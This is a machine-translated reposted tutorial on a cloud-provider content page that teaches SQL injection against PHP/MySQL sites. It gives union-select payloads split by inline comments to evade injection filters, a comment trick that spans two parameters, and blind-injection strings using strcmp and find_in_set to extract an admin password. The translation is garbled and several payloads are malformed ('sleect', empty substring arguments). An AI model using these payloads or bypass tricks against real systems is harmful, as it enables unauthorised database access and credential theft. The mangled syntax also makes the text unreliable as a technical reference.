New Injection & amp; bypass methods under sqlinjection

Source: Internet
Author: User

Since the development of SQL injection, many security articles seem to distort the injection thinking of many people. The traditional method of detecting injection is as follows:

 
And 1 = 1, and 1 = 2 to determine whether it is true or false to determine whether the filter is complete, of course, there are also or 1 = 2, or 1 = 1, or in a numerical injection for example: id = 1 + 1 or id = 2-1, etc.
 
The purpose of this article is not to judge who's testing method is practical, but to recommend some new injection methods, which may have been mentioned earlier :)
 
Note: It is mainly used for mysql injection in php. We will not introduce it one by one.
 
First, let's judge:
 
The Null value can be used as follows: and 1 is null, and 1 is not null.
 
Or: and 2 <= 3
 
In fact, many people often use = to judge, but, for example, >=, <=, is null, is not null, and <> can be used to determine
 
Next we will talk about injection.
 
We are familiar with the union select and blind sqlinjection values)
 
Union Select
 
For conventional injection, We Can union select 1, 2, 3, 4, or union/**/select/*/1, 2, 3, 4
 
OK. Let's see my demo, id = 1 + u/**/nio/**/n + se/**/lect + 1 & id = 2, 3 & id = 4 is disgusting? Attackers can bypass all injection prevention measures in China. This code has the above effect after running. As for the principle, I hope you can check the relevant information by yourself. If you have any objection, leave a message for me.
 
Of course, when the statement passes multiple parameters, such as slect * from table where id = 1 and name = xxx, we can do this:
 
Id = 1 + union/* & name = */select + 1, 2
 
After the query, slect * from table where id = 1 union/* and name = xxx */select 1, 2 is a technique to invalidate constants (variables). Of course, strict environment requirements :)
 
The following describes Blind SqlIjection (Blind note ):
 
In general, I think we should do this: ascii (substring (password,) = 56, or ord (mid (password,) = 56
 
Here, we recommend that you use subqueries. Of course, the premise is to guess the table and fields to get the desired data more accurately.
 
Previously, we recommended some new methods:
 
Find_in_set example: find_in_set (56, ascii (substr (password, 1, 1) = 1
 
Strcmp example: strcmp (left (password, 1), 0x56) = 1
 
 
 
Set these functions as subqueries:
 
Id = 1 + and + strcmp (substring (sleect + password + from + admin + limit +),), 0x55) = 1 false
 
Id = 1 + and + strcmp (substring (sleect + password + from + admin + limit +),), 0x56) = 0 true
 
Id = 1 + and + strcmp (substring (sleect + password + from + admin + limit +),), 0x57) =-1 false
 
If you do not understand the principle, please refer to the function manual or leave a message for me

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.